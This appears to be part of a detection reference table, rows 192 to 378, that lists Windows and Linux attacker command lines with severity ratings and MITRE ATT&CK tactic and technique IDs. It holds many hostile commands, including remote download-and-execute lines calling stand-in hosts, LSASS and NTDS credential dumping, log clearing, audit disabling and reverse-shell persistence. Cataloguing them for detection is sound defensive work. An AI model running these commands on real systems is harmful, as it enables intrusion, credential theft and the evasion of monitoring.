192	HIGH	HIGH	rundll32.exe url.dll,OpenURL "C:\test\calc.hta"	url	Defense Evasion	T1218.011	Windows
193	HIGH	HIGH	rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e	url	Defense Evasion	T1218.011 T1027	Windows
194	HIGH	HIGH	rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e	zipfldr	Defense Evasion	T1218.011 T1027	Windows
195	HIGH	HIGH	Runonce.exe /AlternateShellStartup	runonce	Defense Evasion	T1218	Windows
196	HIGH	HIGH	runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test	runscripthelper	Defense Evasion	T1218	Windows
197	HIGH	HIGH	schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe hxxps://pastebin[.]com/raw/XXXXXXX"",0,true)(window.close)"" /F	mshta	Defense Evasion Execution Persistence Privilege Escalation	T1218.005 T1053.005	windows
198	HIGH	HIGH	ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"	scriptrunner	Command and Control Defense Evasion	T1105 T1202 T1218	Windows
199	HIGH	HIGH	set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr	DesktopImgDownldr	Command and Control	T1105	Windows
200	HIGH	HIGH	set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf	manage-bde	Defense Evasion	T1216	Windows
201	HIGH	HIGH	SettingSyncHost -LoadAndRunDiagScript anything	SettingSyncHost	Defense Evasion	T1218	Windows
202	HIGH	HIGH	sharpshares.exe /threads 50 /ldap:all /filter:sysvol,netlogon,ipc$,print$ /outfile:test.txt	sharpshares	Discovery	T1135	Windows
203	HIGH	HIGH	sqldumper.exe [LSASS_PID] 0 0x01100:40	sqldumper	Credential Access	T1003 T1003.001	Windows
204	HIGH	HIGH	sqldumper.exe [PID] 0 0x0110	sqldumper	Credential Access	T1003	Windows
205	HIGH	HIGH	Sqlps.exe -noprofile	sqlps	Defense Evasion	T1218	Windows
206	HIGH	HIGH	SQLToolsPS.exe -noprofile -command Start-Process [ANYTHING.exe]	SQLToolsPS	Defense Evasion	T1218	Windows
207	HIGH	HIGH	squirrel.exe --download [URL TO PACKAGE]	squirrel	Defense Evasion Command and Control	T1218 T1105	Windows
208	HIGH	HIGH	squirrel.exe --updateRoolback=[url to package]	squirrel	Defense Evasion Command and Control	T1218 T1105	Windows
209	HIGH	HIGH	ssas.exe authtoken [AUTH TOKEN REDACTED]	ngrok	Command and Control	T1572 T1102	Windows
210	HIGH	HIGH	ssh localhost calc.exe	ssh	Defense Evasion	T1202 T1218	Windows
211	HIGH	HIGH	SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"	Syncappvpublishingserver_vbs	Defense Evasion	T1216	Windows
212	HIGH	HIGH	taskkill /IM [IMAGENAME] /F	taskkill	Defense Evasion	T1562.001	Windows
213	HIGH	HIGH	taskkill [/s <computer> [/u [<domain>\]<username> [/p [<password>]]]] {[/fi <filter>] [...] [/pid <processID> | /im <imagename>]} [/f] [/t]	taskkill	Defense Evasion	T1562.001	Windows
214	HIGH	HIGH	te.exe bypass.wsc	te	Defense Evasion	T1127	Windows
215	HIGH	HIGH	Tracker.exe /d .\calc.dll /c C:\Windows\write.exe	tracker	Defense Evasion Privilege Escalation	T1127 T1055.001	Windows
216	HIGH	HIGH	TTTracer.exe -dumpFull -attach pid	tttracer	Credential Access	T1003	Windows
217	HIGH	HIGH	ufw disable	ufw	Defense Evasion	T1562.004	Linux
218	HIGH	HIGH	Update.exe --createShortcut=payload.exe -l=Startup	Update	Defense Evasion Persistence Privilege Escalation	T1218 T1547	Windows
219	HIGH	HIGH	Update.exe --download [URL TO PACKAGE]	Update	Defense Evasion Command and Control	T1218 T1105	Windows
220	HIGH	HIGH	Update.exe --processStart payload.exe --process-start-args "whatever args"	Update	Defense Evasion	T1218	Windows
221	HIGH	HIGH	Update.exe --update=[url to package]	Update	Defense Evasion Command and Control	T1218 T1105	Windows
222	HIGH	HIGH	verclsid.exe /S /C {CLSID}	verclsid	Defense Evasion	T1218.012	Windows
223	HIGH	HIGH	VSIISExeLauncher.exe -p [PATH_TO_BIN] -a "[ARGUMENTS]"	VSIISExeLauncher	Defense Evasion	T1218	Windows
224	HIGH	HIGH	Vsjitdebugger.exe calc.exe	vsjitdebugger	Defense Evasion	T1127	Windows
225	HIGH	HIGH	wab.exe	wab	Defense Evasion	T1218	Windows
226	HIGH	HIGH	wevtutil cl [LOGNAME]	wevtutil	Defense Evasion	T1562.002 T1070	Windows
227	HIGH	HIGH	wevtutil clear-log [LOGNAME]	wevtutil	Defense Evasion	T1562.002 T1070	Windows
228	HIGH	HIGH	wevtutil sl [LOGNAME] /e:false	wevtutil	Defense Evasion	T1562.002 T1070	Windows
229	HIGH	HIGH	wfc.exe c:\path\to\test.xoml	wfc	Defense Evasion	T1127	Windows
230	HIGH	HIGH	winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"	winword	Command and Control	T1105	Windows
231	HIGH	HIGH	wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u calc.exe	wlrmdr	Defense Evasion	T1202	Windows
232	HIGH	HIGH	wmic /node:“[TARGET]” process call create “powershell Enable-PSRemoting -Force -SkipNetworkProfileCheck”	wmic	Defense Evasion Execution	T1218 T1047 T1569.002	Windows
233	HIGH	HIGH	wmic.exe /node:"10.10.10.10" process call create "evil.exe"	wmic	Defense Evasion Execution	T1218 T1047	Windows
234	HIGH	HIGH	wmic.exe /node:[COMPUTER] PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"	wmic	Defense Evasion Execution	T1218 T1047	Windows
235	HIGH	HIGH	wmic.exe /node:[COMPUTER] PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"	wmic	Credential Access Defense Evasion Execution	T1003.003 T1218 T1047	Windows
236	HIGH	HIGH	wmic.exe process call create "c:\ads\file.txt:program.exe"	wmic	Defense Evasion Execution	T1564.004 T1218 T1047	Windows
237	HIGH	HIGH	wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"	wmic	Persistence Privilege Escalation Defense Evasion Execution	T1546.012 T1218 T1047	Windows
238	HIGH	HIGH	wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"	wmic	Defense Evasion Execution	T1218 T1047	Windows
239	HIGH	HIGH	WorkFolders	WorkFolders	Defense Evasion	T1218	Windows
240	HIGH	HIGH	wscript c:\ads\file.txt:script.vbs	wscript	Defense Evasion Execution	T1564.004 T1059.005	Windows
241	HIGH	HIGH	wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'	wsl	Defense Evasion Command and Control	T1202 T1105	Windows
242	HIGH	HIGH	wsl.exe -e /mnt/c/Windows/System32/calc.exe	wsl	Defense Evasion	T1202	Windows
243	HIGH	HIGH	wsreset.exe	wsreset	Privilege Escalation Defense Evasion	T1548.002 T1218	Windows
244	HIGH	HIGH	wuauclt.exe /UpdateDeploymentProvider [TARGETDLL] /RunHandlerComServer	wuauclt	Defense Evasion	T1218	Windows
245	HIGH	HIGH	xwizard RunWizard /t /u {00000001-0000-0000-0000-0000FEEDACDC}	xwizard	Defense Evasion Privilege Escalation Persistence	T1218 T1546.015	Windows
246	HIGH	HIGH	xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z https://pastebin.com/raw/iLxUT5gM	xwizard	Defense Evasion Command and Control	T1218 T1105	Windows
247	HIGH	MED	C:\Windows\system32\schtasks.exe /create /tn “[ANY NAME]” /tr “\”[ANY BINARY]” --scheduler” /sc ONSTART /ru System	schtasks	Execution Persistence Privilege Escalation Impact	T1053.005 T1490	Windows
248	HIGH	MED	csc -target:library File.cs	csc	Execution	T1127	Windows
249	HIGH	MED	csc.exe -out:My.exe File.cs	csc	Execution	T1127	Windows
250	HIGH	MED	csi.exe [TARGET FILE]	csi	Defense Evasion	T1127	Windows
251	HIGH	MED	dotnet.exe [PATH_TO_DLL]	dotnet	Defense Evasion	T1218	Windows
252	HIGH	MED	dotnet.exe msbuild [Path_TO_XML_CSPROJ]	dotnet	Defense Evasion	T1218	Windows
253	HIGH	MED	psexec -accepteula @[File Containing Remote Hosts] -d cmd /c [CommandString]	PsExec	Lateral Movement Persistence Privilege Escalation Execution	T1021.002 T1570 T1543.003 T1569.002	Windows
254	HIGH	MED	psr.exe /start /output D:\test.zip /sc 1 /gui 0	psr	Collection	T1113	Windows
255	HIGH	MED	sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice	sc	Defense Evasion Execution	T1564.004 T1569.002	Windows
256	HIGH	MED	TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "C:/Windows/System32/calc.exe"	ttdinject	Defense Evasion	T1127	Windows
257	HIGH	MED	tttracer.exe C:\windows\system32\calc.exe	tttracer	Defense Evasion	T1127	Windows
258	HIGH	MED	winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985	winrm	Defense Evasion Lateral Movement	T1216 T1021.006	Windows
259	HIGH	MED	winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985	winrm	Defense Evasion Lateral Movement	T1216 T1021.006	Windows
260	HIGH	MED	wmic os get /format:https://[PAYLOAD]	wmic	Defense Evasion Command and Control Execution	T1218 T1105 T1047	Windows
261	HIGH	LOW	pktmon.exe filter add -p 445	pktmon	Credential Access Discovery	T1040	Windows
262	HIGH	LOW	pktmon.exe start --etw	pktmon	Credential Access Discovery	T1040	Windows
263	MED	HIGH	adfind -f objectcategory=computer	ADFind	Discovery	T1018 T1087.002	Windows
264	MED	HIGH	adfind -f objectcategory=person	ADFind	Discovery	T1018 T1087.002	Windows
265	MED	HIGH	adfind -gcb -sc trustdmp	ADFind	Discovery	T1018 T1482	Windows
266	MED	HIGH	adfind -subnets -f objectCategory=subnet	ADFind	Discovery	T1016	Windows
267	MED	HIGH	auditpol /clear /y	auditpol	Defense Evasion	T1562.002	Windows
268	MED	HIGH	auditpol /remove /allusers	auditpol	Defense Evasion	T1562.002	Windows
269	MED	HIGH	auditpol /restore /file:[RestoreFile]	auditpol	Defense Evasion	T1562.002	Windows
270	MED	HIGH	auditpol /set /category:"Detailed Tracking" /success:disable /failure:disable	auditpol	Defense Evasion	T1562.002	Windows
271	MED	HIGH	CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt	CertReq	Command and Control Exfiltration	T1105 T1048	Windows
272	MED	HIGH	certutil -urlcache -f [URL] [DestinationPath]	certutil	Command and Control	T1105	windows
273	MED	HIGH	certutil -urlcache -split -f [URL] [DestinationPath]	certutil	Command and Control	T1105	windows
274	MED	HIGH	certutil -verifyctl -split -f [URL]	certutil	Command and Control	T1105	windows
275	MED	HIGH	certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt	certutil	Defense Evasion	T1140 T1564.004	windows
276	MED	HIGH	devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" test	devtoolslauncher	Defense Evasion	T1127	Windows
277	MED	HIGH	diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab	diantz	Collection Command and Control	T1560 T1105	Windows
278	MED	HIGH	diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab	diantz	Defense Evasion Collection	T1564.004 T1560	Windows
279	MED	HIGH	expand \\webdav\folder\file.bat c:\ADS\file.bat	expand	Command and Control	T1105	Windows
280	MED	HIGH	expand c:\ADS\file1.bat c:\ADS\file2.bat	expand	Command and Control	T1105	Windows
281	MED	HIGH	mmc.exe gpedit.msc	mmc	Defense Evasion	T1218.014	Windows
282	MED	HIGH	nltest /dclist:"[DOMAIN NAME]"	nltest	Discovery	T1018	Windows
283	MED	HIGH	nltest /domain_trusts	nltest	Discovery	T1482	Windows
284	MED	HIGH	nltest /dsgetdc:"[DOMAIN NAME]"	nltest	Discovery	T1018	Windows
285	MED	HIGH	reg add "HKCU\Software\Classes\mscfile\shell\open\command" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
286	MED	HIGH	rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM	rpcping	Credential Access	T1003 T1187	Windows
287	MED	HIGH	rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM	rpcping	Credential Access	T1003 T1187	Windows
288	MED	HIGH	stordiag.exe	Stordiag	Defense Evasion	T1218	Windows
289	MED	MED	\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt	bginfo	Defense Evasion	T1218	Windows
290	MED	MED	at.exe at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe	at	Execution Persistence Privilege Escalation	T1053.002	Windows
291	MED	MED	bcdedit /set {current} safeboot minimal	bcdedit	Defense Evasion	T1562.009	windows
292	MED	MED	bcdedit /set {current} safeboot network	bcdedit	Defense Evasion	T1562.009	windows
293	MED	MED	bcdedit /set {default} bootstatuspolicy ignoreallfailures	bcdedit	Impact	T1490	windows
294	MED	MED	bcdedit /set {default} recoveryenabled no	bcdedit	Impact	T1490	windows
295	MED	MED	bcdedit /set {default} safeboot minimal	bcdedit	Defense Evasion	T1562.009	windows
296	MED	MED	bcdedit /set {default} safeboot network	bcdedit	Defense Evasion	T1562.009	windows
297	MED	MED	bcdedit /set {globalsettings} advancedoptions false	bcdedit	Defense Evasion	T1562.009	windows
298	MED	MED	bginfo.exe bginfo.bgi /popup /nolicprompt	bginfo	Defense Evasion	T1218	Windows
299	MED	MED	forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"	forfiles	Defense Evasion	T1202 T1564.004	Windows
300	MED	MED	forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe	forfiles	Defense Evasion	T1202	Windows
301	MED	MED	ilasm.exe C:\public\test.txt /exe	ilasm	Defense Evasion	T1127	Windows
302	MED	MED	Msconfig.exe -5	msconfig	Defense Evasion	T1218	Windows
303	MED	MED	OfflineScannerShell.exe	OfflineScannerShell	Defense Evasion Persistence Privilege Escalation	T1218 T1574.002	Windows
304	MED	MED	vbc.exe /target:exe c:\temp\vbs\run.vb	vbc	Defense Evasion	T1127	Windows
305	MED	MED	VisualUiaVerifyNative.exe	VisualUiaVerifyNative	Defense Evasion	T1218	Windows
306	MED	LOW	reg add "HKCU\Software\Microsoft\Active Setup\Installed Components" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
307	MED	LOW	reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
308	MED	LOW	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
309	MED	LOW	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
310	MED	LOW	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
311	MED	LOW	reg add "HKLM\Security\Policy\Secrets" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
312	MED	LOW	reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
313	MED	LOW	reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
314	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
315	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
316	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
317	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
318	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
319	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
320	MED	LOW	reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
321	MED	LOW	reg add "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
322	MED	LOW	reg add "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
323	MED	LOW	reg add "HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
324	MED	LOW	reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
325	MED	LOW	reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\fSingleSessionPerUser" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
326	MED	LOW	reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\Licensing Core\EnableConcurrentSessions" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
327	MED	LOW	reg add "HKLM\System\CurrentControlSet\Services\Ntds\Parameters" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
328	MED	LOW	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
329	MED	LOW	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
330	MED	LOW	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
331	MED	LOW	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
332	MED	LOW	reg add HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
333	MED	LOW	reg add HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f	reg	Defense Evasion Persistence Privilege Escalation	T1112 T1547.001	Windows
334	MED	LOW	schtasks /create /s targetmachine /tn "MyTask" /tr c:\some\directory\notevil.exe /sc daily	schtasks	Execution Persistence Privilege Escalation	T1053.005	Windows
335	MED	LOW	schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe	schtasks	Execution Persistence Privilege Escalation	T1053.005	Windows
336	MED	LOW	start ms-appinstaller://?source=https://evil.com/raw/payload	appinstaller	Command and Control	T1105	Windows
337	LOW	HIGH	advanced_ip_scanner.exe /r:[IP-RANGE]	Advanced IP Scanner	Discovery	T1018 T1135 T1046	Windows
338	LOW	HIGH	advanced_ip_scanner.exe /s:ipranges.txt /f:results.txt	Advanced IP Scanner	Discovery	T1018 T1135 T1046	Windows
339	LOW	HIGH	net group "Domain Admins" /domain	net	Discovery	T1069.002	windows
340	LOW	HIGH	net group "Domain Computers" /domain	net	Discovery	T1087.002	windows
341	LOW	HIGH	net group "Domain Users" /domain	net	Discovery	T1087.002	windows
342	LOW	HIGH	net group "Enterprise Admins" /domain	net	Discovery	T1069.002	windows
343	LOW	HIGH	net start [Service]	net	Execution	T1569.002	windows
344	LOW	HIGH	net stop [Service]	net	Execution	T1569.002	windows
345	LOW	MED	dsquery * -filter "(objectClass=trustedDomain)" -attr *	dsquery	Discovery	T1482	windows
346	LOW	MED	dsquery computer -limit 0	dsquery	Discovery	T1018	windows
347	LOW	MED	dsquery group -limit 0	dsquery	Discovery	T1069.002	windows
348	LOW	MED	dsquery group -name "Domain Admins"	dsquery	Discovery	T1069.002	windows
349	LOW	MED	dsquery subnet -limit 0	dsquery	Discovery	T1016	windows
350	LOW	MED	dsquery user -limit 0	dsquery	Discovery	T1087.002	windows
351	LOW	MED	msbuild.exe project.csproj	msbuild	Defense Evasion	T1127.001	Windows
352	LOW	MED	msbuild.exe pshell.xml	msbuild	Defense Evasion	T1127.001	Windows
353	LOW	MED	pslist -accepteula \\[COMPUTER]	pslist	Discovery	T1057	Windows
354	LOW	MED	whoami /all	whoami	Discovery	T1033 T1059.003	Windows
355	LOW	LOW	apt-get remove [APP] -y	apt-get	Defense Evasion	T1562.001	Linux
356	LOW	LOW	arp -a	arp_linux	Discovery	T1018	Linux
357	LOW	LOW	msiexec /quiet /i cmd.msi	msiexec	Defense Evasion	T1218.007	Windows
358	LOW	LOW	mv /usr/bin/[FILE] /usr/bin/[NEWNAME]	mv	Defense Evasion	T1036.003	Linux
359	LOW	LOW	net accounts	net	Discovery	T1201	windows
360	LOW	LOW	net config workstation	net	Discovery	T1082	windows
361	LOW	LOW	net localgroup Administrators	net	Discovery	T1087.001	windows
362	LOW	LOW	net share	net	Discovery	T1135	windows
363	LOW	LOW	net time /domain	net	Discovery	T1124	windows
364	LOW	LOW	net use \\[SERVER\SHARE] /user:[USERNAME] [PASSWORD]	net	Discovery Lateral Movement	T1083 T1021.002	windows
365	LOW	LOW	net user	net	Discovery	T1087.001	windows
366	LOW	LOW	net user [username] [password] /add	net	Persistence	T1136.001 T1136.002	windows
367	LOW	LOW	netstat -anob	netstat	Discovery	T1049	windows
368	LOW	LOW	portqry -local	portqry	Discovery	T1049	Windows
369	LOW	LOW	portqry -n [IP Address] -e [Port]	portqry	Discovery	T1049	Windows
370	LOW	LOW	rar.exe a -k -r -s -m1 -[PASS] [OUTPUT.RAR] [FILES TO ZIP]	winrar	Collection	T1560 T1560.001	Windows
371	LOW	LOW	rar.exe a -r -[PASS] [OUTPUT.RAR] [FILES TO ZIP]	winrar	Collection	T1560 T1560.001	Windows
372	LOW	LOW	replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A	replace	Command and Control	T1105	Windows
373	LOW	LOW	systemctl disable [SERVICE]	systemctl	Impact	T1489	Linux
374	LOW	LOW	systemctl stop [SERVICE]	systemctl	Impact	T1489	Linux
375	LOW	LOW	systeminfo /s [COMPUTER] /u [DOMAIN\USERNAME] /p [PASSWORD]	systeminfo	Discovery	T1082	Windows
376	LOW	LOW	tasklist [/s <computer> [/u [<domain>\]<username> [/p <password>]]] [{/m <module> | /svc | /v}] [/fo {table | list | csv}] [/nh] [/fi <filter> [/fi <filter> [ ... ]]]	tasklist	Discovery	T1057 T1518.001 T1007	Windows
377	LOW	LOW	wmic computersystem get name	wmic	Defense Evasion Discovery	T1218 T1082	Windows
378	LOW	LOW	yum remove [APP] -y	yum	Defense Evasion	T1562.001	Linux